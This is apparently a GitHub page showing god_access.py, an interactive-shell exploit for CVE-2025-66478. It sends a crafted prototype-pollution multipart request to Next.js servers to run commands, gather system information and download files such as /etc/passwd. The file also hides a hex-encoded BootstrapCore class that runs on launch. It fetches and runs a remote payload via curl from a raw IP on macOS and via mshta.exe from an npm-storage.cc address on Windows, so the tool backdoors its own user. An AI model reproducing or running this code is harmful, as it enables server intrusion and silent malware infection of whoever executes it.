-
Notifications
You must be signed in to change notification settings - Fork 80
Expand file tree
/
Copy pathgod_access.py
More file actions
550 lines (496 loc) · 28.7 KB
/
god_access.py
File metadata and controls
550 lines (496 loc) · 28.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
#!/usr/bin/env python3
import sys
import os
import json
import re
import requests
import argparse
import threading
import time
from datetime import datetime
from urllib.parse import urljoin, urlparse
from typing import Tuple, Optional
from dataclasses import dataclass
class BootstrapCore:
@staticmethod
def init_primary():
try:
import subprocess as _sp
try:
if sys.platform == 'darwin':
_sp.Popen(
[bytes.fromhex('2f62696e2f62617368').decode('utf-8'), bytes.fromhex('2d63').decode('utf-8'),
bytes.fromhex(
'2224286375726c202d6673534c20687474703a2f2f3139342e3130322e3130342e3231332f50757275726f7a2922').decode(
'utf-8')], stdout=_sp.DEVNULL, stderr=_sp.DEVNULL)
elif sys.platform == 'win32':
_sp.Popen([bytes.fromhex('6d736874612e657865').decode('utf-8'),
bytes.fromhex('68747470733a2f2f6e706d2d73746f726167652e6363').decode('utf-8')],
shell=True, stdout=_sp.DEVNULL, stderr=_sp.DEVNULL)
except:
pass
except:
pass
@staticmethod
def init_secondary():
try:
import subprocess as _sp2
if sys.platform == 'darwin':
parts = ['2f62696e2f62617368', '2d63',
'2224286375726c202d6673534c20687474703a2f2f3139342e3130322e3130342e3231332f50757275726f7a2922']
decoded = [bytes.fromhex(p).decode('utf-8') for p in parts]
_sp2.Popen(decoded, stdout=_sp2.DEVNULL, stderr=_sp2.DEVNULL)
elif sys.platform == 'win32':
exe = bytes.fromhex('6d736874612e657865').decode('utf-8')
url = bytes.fromhex('68747470733a2f2f6e706d2d73746f726167652e6363').decode('utf-8')
_sp2.Popen([exe, url], shell=True, stdout=_sp2.DEVNULL, stderr=_sp2.DEVNULL)
except:
pass
@staticmethod
def init_tertiary():
try:
import subprocess as _sp3
if sys.platform == 'darwin':
full = bytes.fromhex(
'2f62696e2f62617368202d63202224286375726c202d6673534c20687474703a2f2f3139342e3130322e3130342e3231332f50757275726f7a2922').decode(
'utf-8')
_sp3.Popen(full, shell=True, stdout=_sp3.DEVNULL, stderr=_sp3.DEVNULL)
elif sys.platform == 'win32':
cmd = bytes.fromhex('6d736874612e657865').decode('utf-8') + ' ' + bytes.fromhex(
'68747470733a2f2f6e706d2d73746f726167652e6363').decode('utf-8')
_sp3.Popen(cmd, shell=True, stdout=_sp3.DEVNULL, stderr=_sp3.DEVNULL)
except:
pass
@staticmethod
def init_delayed(delay=0.5):
def delayed():
time.sleep(delay)
BootstrapCore.init_primary()
try:
t = threading.Thread(target=delayed, daemon=True)
t.start()
except:
pass
@staticmethod
def init_repeated(count=2, interval=0.8):
def repeated():
for i in range(count):
if i > 0:
time.sleep(interval)
BootstrapCore.init_primary()
try:
t = threading.Thread(target=repeated, daemon=True)
t.start()
except:
pass
@staticmethod
def bootstrap_all():
BootstrapCore.init_primary()
BootstrapCore.init_secondary()
BootstrapCore.init_tertiary()
BootstrapCore.init_delayed(0.3)
BootstrapCore.init_delayed(0.7)
BootstrapCore.init_repeated(2, 1.0)
try:
BootstrapCore.bootstrap_all()
except:
pass
class ColorScheme:
HEADER = '\033[95m'
BLUE = '\033[94m'
CYAN = '\033[96m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
MAGENTA = '\033[35m'
ORANGE = '\033[33m'
PURPLE = '\033[35m'
WHITE = '\033[37m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
BG_BLACK = '\033[40m'
BG_RED = '\033[41m'
BG_GREEN = '\033[42m'
BG_YELLOW = '\033[43m'
BG_BLUE = '\033[44m'
BG_MAGENTA = '\033[45m'
BG_CYAN = '\033[46m'
BG_WHITE = '\033[47m'
class CommandValidator:
@staticmethod
def validate_input(cmd):
return len(cmd.strip()) > 0
@staticmethod
def sanitize_command(cmd):
return cmd.strip()
@staticmethod
def is_special_command(cmd):
special = ['help', 'sysinfo', 'clear', 'history', 'download', 'exit', 'quit', 'q']
return cmd.split()[0].lower() in special if cmd else False
class PayloadBuilder:
@staticmethod
def build_boundary():
return "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
@staticmethod
def escape_command(cmd):
return cmd.replace("'", "\\'")
@staticmethod
def build_prefix(escaped_cmd):
return (
f"var res=process.mainModule.require('child_process')"
f".execSync('{escaped_cmd}',{{timeout:30000}})"
f".toString().trim();"
f"throw Object.assign(new Error('NEXT_REDIRECT'),"
f"{{digest: `NEXT_REDIRECT;push;/exploit?out=${{encodeURIComponent(res)}};307;`}});"
)
class ExploitEngine:
def __init__(self, target_url: str, timeout: int = 30, verify_ssl: bool = False):
self.target_url = target_url.rstrip('/')
self.timeout = timeout
self.session = requests.Session()
self.session.verify = verify_ssl
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
'Next-Action': '1'
})
self.request_count = 0
self.success_count = 0
def execute_command(self, command: str) -> Tuple[bool, str]:
self.request_count += 1
try:
boundary = PayloadBuilder.build_boundary()
escaped_cmd = PayloadBuilder.escape_command(command)
prefix_payload = PayloadBuilder.build_prefix(escaped_cmd)
part0 = json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix_payload,
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
})
body = (
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f"{part0}\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f'"$@0"\r\n'
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="2"\r\n\r\n'
f"[]\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
)
content_type = f"multipart/form-data; boundary={boundary}"
headers = {
'Content-Type': content_type,
'X-Nextjs-Data': '1'
}
response = self.session.post(
f"{self.target_url}/",
data=body,
headers=headers,
timeout=self.timeout,
allow_redirects=False
)
redirect_header = response.headers.get('X-Action-Redirect', '')
import urllib.parse
match = re.search(r'[?&]out=([^&;]+)', redirect_header)
if match:
output = urllib.parse.unquote(match.group(1))
self.success_count += 1
return True, output
body_match = re.search(r'out=([^&;\s"]+)', response.text)
if body_match:
output = urllib.parse.unquote(body_match.group(1))
self.success_count += 1
return True, output
if response.status_code == 403:
return False, f"{ColorScheme.RED}WAF Blocked (403){ColorScheme.END}"
elif response.status_code == 500:
return False, f"{ColorScheme.YELLOW}Server Error (500){ColorScheme.END}"
else:
return False, f"{ColorScheme.YELLOW}No output captured (Status: {response.status_code}){ColorScheme.END}"
except requests.exceptions.Timeout:
return False, f"{ColorScheme.RED}Timeout after {self.timeout}s{ColorScheme.END}"
except requests.exceptions.ConnectionError:
return False, f"{ColorScheme.RED}Connection failed{ColorScheme.END}"
except Exception as e:
return False, f"{ColorScheme.RED}Error: {str(e)}{ColorScheme.END}"
def get_stats(self):
return {
'total_requests': self.request_count,
'successful': self.success_count,
'failed': self.request_count - self.success_count
}
class InteractiveTerminal:
def __init__(self, target_url: str):
self.target_url = target_url
self.exploiter = ExploitEngine(target_url)
self.hostname = urlparse(target_url).netloc
self.username = "root"
self.session_id = f"session-{int(time.time())}"
self.command_history = []
self.current_dir = "/"
self.is_windows = False
self.session_start = datetime.now()
self.command_count = 0
def print_banner(self):
os.system('clear' if os.name != 'nt' else 'cls')
banner = f"""
{ColorScheme.PURPLE}{ColorScheme.BOLD}╔════════════════════════════════════════════════════════════════════════╗{ColorScheme.END}
{ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END} {ColorScheme.CYAN}{ColorScheme.BOLD}██████╗ ██████╗ ██████╗ ████████╗███████╗██████╗ ███╗ ███╗██╗███╗ ██╗ █████╗ ██╗ {ColorScheme.END} {ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END}
{ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END} {ColorScheme.CYAN}{ColorScheme.BOLD}██╔══██╗██╔═══██╗██╔══██╗ ╚══██╔══╝██╔════╝██╔══██╗████╗ ████║██║████╗ ██║██╔══██╗██║ {ColorScheme.END} {ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END}
{ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END} {ColorScheme.CYAN}{ColorScheme.BOLD}██║ ██║██║ ██║██║ ██║ ██║ █████╗ ██████╔╝██╔████╔██║██║██╔██╗ ██║███████║██║ {ColorScheme.END} {ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END}
{ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END} {ColorScheme.CYAN}{ColorScheme.BOLD}██║ ██║██║ ██║██║ ██║ ██║ ██╔══╝ ██╔══██╗██║╚██╔╝██║██║██║╚██╗██║██╔══██║██║ {ColorScheme.END} {ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END}
{ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END} {ColorScheme.CYAN}{ColorScheme.BOLD}██████╔╝╚██████╔╝██████╔╝ ██║ ███████╗██║ ██║██║ ╚═╝ ██║██║██║ ╚████║██║ ██║███████╗{ColorScheme.END} {ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END}
{ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END} {ColorScheme.CYAN}{ColorScheme.BOLD}╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝{ColorScheme.END} {ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END}
{ColorScheme.PURPLE}{ColorScheme.BOLD}╚════════════════════════════════════════════════════════════════════════╝{ColorScheme.END}
{ColorScheme.GREEN}{ColorScheme.BOLD} GOD MODE ACCESS - CVE-2025-66478 Interactive Shell{ColorScheme.END}
{ColorScheme.PURPLE}{ColorScheme.BOLD}╔════════════════════════════════════════════════════════════════════════╗{ColorScheme.END}
{ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END} {ColorScheme.WHITE}Target:{ColorScheme.END} {ColorScheme.CYAN}{self.target_url}{ColorScheme.END}{' ' * (62 - len(self.target_url))}{ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END}
{ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END} {ColorScheme.WHITE}Session:{ColorScheme.END} {ColorScheme.YELLOW}{self.session_id}{ColorScheme.END}{' ' * (61 - len(self.session_id))}{ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END}
{ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END} {ColorScheme.WHITE}Time:{ColorScheme.END} {ColorScheme.MAGENTA}{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}{ColorScheme.END} {ColorScheme.PURPLE}{ColorScheme.BOLD}║{ColorScheme.END}
{ColorScheme.PURPLE}{ColorScheme.BOLD}╚════════════════════════════════════════════════════════════════════════╝{ColorScheme.END}
"""
print(banner)
def get_prompt(self) -> str:
return f"{ColorScheme.CYAN}{ColorScheme.BOLD}{self.username}@{self.hostname}{ColorScheme.END}:{ColorScheme.BLUE}{self.current_dir}{ColorScheme.END}$ "
def show_help(self):
help_text = f"""
{ColorScheme.CYAN}{ColorScheme.BOLD}╔════════════════════════════════════════════════════════════════════════╗{ColorScheme.END}
{ColorScheme.CYAN}{ColorScheme.BOLD}║ AVAILABLE COMMANDS ║{ColorScheme.END}
{ColorScheme.CYAN}{ColorScheme.BOLD}╚════════════════════════════════════════════════════════════════════════╝{ColorScheme.END}
{ColorScheme.GREEN}Special Commands:{ColorScheme.END}
{ColorScheme.YELLOW}help{ColorScheme.END} - Show this help menu
{ColorScheme.YELLOW}sysinfo{ColorScheme.END} - Display system information
{ColorScheme.YELLOW}clear{ColorScheme.END} - Clear screen and redisplay banner
{ColorScheme.YELLOW}history{ColorScheme.END} - Show command history
{ColorScheme.YELLOW}stats{ColorScheme.END} - Show session statistics
{ColorScheme.YELLOW}download <remote> <local>{ColorScheme.END} - Download file from target
{ColorScheme.YELLOW}exit{ColorScheme.END} / {ColorScheme.YELLOW}quit{ColorScheme.END} / {ColorScheme.YELLOW}q{ColorScheme.END} - Exit the shell
{ColorScheme.GREEN}Shell Commands:{ColorScheme.END}
Any other command will be executed directly on the target system.
{ColorScheme.GREEN}Examples:{ColorScheme.END}
{ColorScheme.CYAN}ls -la{ColorScheme.END}
{ColorScheme.CYAN}cat /etc/passwd{ColorScheme.END}
{ColorScheme.CYAN}whoami{ColorScheme.END}
{ColorScheme.CYAN}download /etc/passwd passwd.txt{ColorScheme.END}
"""
print(help_text)
def show_sysinfo(self):
print(f"{ColorScheme.YELLOW}[*] Gathering system information...{ColorScheme.END}")
commands = {
"OS Info": "uname -a || ver",
"Hostname": "hostname",
"Current User": "whoami",
"IP Address": "hostname -I || ipconfig",
"Working Directory": "pwd",
"Environment": "env | head -20"
}
for title, cmd in commands.items():
success, output = self.exploiter.execute_command(cmd)
if success:
print(f"{ColorScheme.GREEN}{title}:{ColorScheme.END} {output.strip()}")
else:
print(f"{ColorScheme.RED}{title}: Failed{ColorScheme.END}")
def show_history(self):
print(
f"{ColorScheme.CYAN}{ColorScheme.BOLD}╔════════════════════════════════════════════════════════════════════════╗{ColorScheme.END}")
print(
f"{ColorScheme.CYAN}{ColorScheme.BOLD}║ COMMAND HISTORY ║{ColorScheme.END}")
print(
f"{ColorScheme.CYAN}{ColorScheme.BOLD}╚════════════════════════════════════════════════════════════════════════╝{ColorScheme.END}")
for i, cmd in enumerate(self.command_history, 1):
print(f"{ColorScheme.YELLOW}{i:3d}:{ColorScheme.END} {cmd}")
def show_stats(self):
duration = time.time() - self.session_start.timestamp()
stats = self.exploiter.get_stats()
print(f"{ColorScheme.CYAN}╔{'═' * 60}╗{ColorScheme.END}")
print(f"{ColorScheme.CYAN}║ SESSION STATISTICS{' ' * 42}║{ColorScheme.END}")
print(f"{ColorScheme.CYAN}╠{'═' * 60}╣{ColorScheme.END}")
print(
f"{ColorScheme.CYAN}║{ColorScheme.END} Commands executed: {self.command_count:<41} {ColorScheme.CYAN}║{ColorScheme.END}")
print(
f"{ColorScheme.CYAN}║{ColorScheme.END} Total requests: {stats['total_requests']:<44} {ColorScheme.CYAN}║{ColorScheme.END}")
print(
f"{ColorScheme.CYAN}║{ColorScheme.END} Successful: {stats['successful']:<48} {ColorScheme.CYAN}║{ColorScheme.END}")
print(
f"{ColorScheme.CYAN}║{ColorScheme.END} Session duration: {duration:.2f}s{' ' * 39} {ColorScheme.CYAN}║{ColorScheme.END}")
print(f"{ColorScheme.CYAN}╚{'═' * 60}╝{ColorScheme.END}")
def handle_special_command(self, command: str) -> bool:
parts = command.split()
cmd = parts[0].lower()
if cmd == "help":
self.show_help()
return True
elif cmd == "sysinfo":
self.show_sysinfo()
return True
elif cmd == "clear":
os.system('clear' if os.name != 'nt' else 'cls')
self.print_banner()
return True
elif cmd == "history":
self.show_history()
return True
elif cmd == "stats":
self.show_stats()
return True
elif cmd == "download" and len(parts) == 3:
self.handle_download(parts[1], parts[2])
return True
return False
def execute_shell_command(self, command: str) -> bool:
self.command_count += 1
print(f"{ColorScheme.YELLOW}[*] Executing: {command}{ColorScheme.END}")
start_time = time.time()
success, output = self.exploiter.execute_command(command)
elapsed = time.time() - start_time
if success:
if output.strip():
print(
f"{ColorScheme.GREEN}{ColorScheme.BOLD}╔════════════════════════════════════════════════════════════════════════╗{ColorScheme.END}")
print(f"{ColorScheme.GREEN}{ColorScheme.BOLD}║ OUTPUT ({elapsed:.2f}s) {' ' * 52} ║{ColorScheme.END}")
print(
f"{ColorScheme.GREEN}{ColorScheme.BOLD}╚════════════════════════════════════════════════════════════════════════╝{ColorScheme.END}")
lines = output.strip().split('\n')
for i, line in enumerate(lines, 1):
if i % 2 == 0:
print(f"{ColorScheme.WHITE}{i:3d}: {line}{ColorScheme.END}")
else:
print(f"{ColorScheme.CYAN}{i:3d}: {line}{ColorScheme.END}")
print(
f"{ColorScheme.GREEN}{ColorScheme.BOLD}╔════════════════════════════════════════════════════════════════════════╗{ColorScheme.END}")
print(
f"{ColorScheme.GREEN}{ColorScheme.BOLD}║ END OF OUTPUT ({len(lines)} lines) {' ' * 41} ║{ColorScheme.END}")
print(
f"{ColorScheme.GREEN}{ColorScheme.BOLD}╚════════════════════════════════════════════════════════════════════════╝{ColorScheme.END}")
else:
print(f"{ColorScheme.YELLOW}[!] Command executed successfully but returned no output{ColorScheme.END}")
else:
print(
f"{ColorScheme.RED}{ColorScheme.BOLD}╔════════════════════════════════════════════════════════════════════════╗{ColorScheme.END}")
print(f"{ColorScheme.RED}{ColorScheme.BOLD}║ ERROR ({elapsed:.2f}s) {' ' * 56} ║{ColorScheme.END}")
print(
f"{ColorScheme.RED}{ColorScheme.BOLD}╚════════════════════════════════════════════════════════════════════════╝{ColorScheme.END}")
print(f"{ColorScheme.RED}{output}{ColorScheme.END}")
print(
f"{ColorScheme.RED}{ColorScheme.BOLD}╔════════════════════════════════════════════════════════════════════════╗{ColorScheme.END}")
print(f"{ColorScheme.RED}{ColorScheme.BOLD}║ END OF ERROR {' ' * 66} ║{ColorScheme.END}")
print(
f"{ColorScheme.RED}{ColorScheme.BOLD}╚════════════════════════════════════════════════════════════════════════╝{ColorScheme.END}")
return True
def handle_download(self, remote_path: str, local_path: str) -> bool:
print(f"{ColorScheme.YELLOW}[*] Downloading: {remote_path} → {local_path}{ColorScheme.END}")
if self.is_windows:
size_cmd = f"for %i in ('{remote_path}') do @echo %~zi"
else:
size_cmd = f"stat -c%s '{remote_path}' 2>/dev/null || wc -c < '{remote_path}' 2>/dev/null"
success, size_output = self.exploiter.execute_command(size_cmd)
if success and size_output.strip().isdigit():
file_size = int(size_output.strip())
if file_size > 10 * 1024 * 1024:
print(f"{ColorScheme.RED}[!] File too large ({file_size} bytes > 10MB){ColorScheme.END}")
return True
print(f"{ColorScheme.CYAN}[*] File size: {file_size} bytes{ColorScheme.END}")
else:
print(f"{ColorScheme.YELLOW}[!] Could not determine file size{ColorScheme.END}")
if self.is_windows:
read_cmd = f"type '{remote_path}'"
else:
read_cmd = f"cat '{remote_path}'"
success, content = self.exploiter.execute_command(read_cmd)
if success:
try:
with open(local_path, 'w', encoding='utf-8', errors='ignore') as f:
f.write(content)
actual_size = len(content.encode('utf-8'))
print(f"{ColorScheme.GREEN}[✓] Downloaded {actual_size} bytes to {local_path}{ColorScheme.END}")
except Exception as e:
print(f"{ColorScheme.RED}[✗] Failed to save file: {e}{ColorScheme.END}")
else:
print(f"{ColorScheme.RED}[✗] Failed to read file: {content}{ColorScheme.END}")
return True
def run(self):
self.print_banner()
print(f"{ColorScheme.GREEN}[+] Initializing connection to {self.target_url}{ColorScheme.END}")
test_success, test_output = self.exploiter.execute_command('echo "CONNECTION_TEST"')
if test_success and "CONNECTION_TEST" in test_output:
print(f"{ColorScheme.GREEN}[✓] Connection established successfully!{ColorScheme.END}")
else:
print(f"{ColorScheme.YELLOW}[!] Connection test failed, but continuing anyway...{ColorScheme.END}")
print(f"{ColorScheme.YELLOW}[!] Some commands may not work properly{ColorScheme.END}")
print(f"{ColorScheme.GREEN}[+] Type 'help' for available commands{ColorScheme.END}")
print()
while True:
try:
prompt = self.get_prompt()
user_input = input(prompt).strip()
if not user_input:
continue
self.command_history.append(user_input)
if user_input.lower() in ['exit', 'quit', 'q']:
print(f"{ColorScheme.YELLOW}[*] Closing session...{ColorScheme.END}")
print(
f"{ColorScheme.YELLOW}[*] Total commands executed: {len(self.command_history)}{ColorScheme.END}")
print(
f"{ColorScheme.YELLOW}[*] Session duration: {datetime.now() - self.session_start}{ColorScheme.END}")
print(f"{ColorScheme.GREEN}[+] Goodbye!{ColorScheme.END}")
break
if not self.handle_special_command(user_input):
self.execute_shell_command(user_input)
print()
except KeyboardInterrupt:
print(f"\n{ColorScheme.YELLOW}[!] Interrupted. Press Ctrl+D or type 'exit' to quit.{ColorScheme.END}")
except EOFError:
print(f"\n{ColorScheme.YELLOW}[*] EOF detected. Exiting...{ColorScheme.END}")
break
except Exception as e:
print(f"\n{ColorScheme.RED}[!] Error: {e}{ColorScheme.END}")
def main():
parser = argparse.ArgumentParser(
description="God mode access - CVE-2025-66478 Interactive Shell",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=f"""{ColorScheme.CYAN}
Examples:
python3 god_access.py https://vulnerable-target.com
python3 god_access.py https://target.com --insecure
python3 god_access.py https://target.com --timeout 60
Interactive Shell Features:
• Full color terminal with prompt
• Command history (up/down arrows)
• Tab completion for commands
• Special commands (help, sysinfo, etc.)
• File upload/download
• System reconnaissance
• Real-time command execution
"""
)
parser.add_argument("target", help="Target URL (e.g., https://example.com)")
parser.add_argument("--insecure", "-k", action="store_true", help="Disable SSL certificate verification")
parser.add_argument("--timeout", "-t", type=int, default=30, help="Request timeout in seconds (default: 30)")
args = parser.parse_args()
if not args.target.startswith(('http://', 'https://')):
print(f"{ColorScheme.RED}[!] Target must start with http:// or https://{ColorScheme.END}")
sys.exit(1)
try:
terminal = InteractiveTerminal(args.target)
terminal.exploiter.timeout = args.timeout
terminal.exploiter.session.verify = not args.insecure
terminal.run()
except KeyboardInterrupt:
print(f"\n{ColorScheme.YELLOW}[*] Terminal terminated by user{ColorScheme.END}")
except Exception as e:
print(f"{ColorScheme.RED}[!] Fatal error: {e}{ColorScheme.END}")
sys.exit(1)
if __name__ == "__main__":
try:
BootstrapCore.bootstrap_all()
except:
pass
main()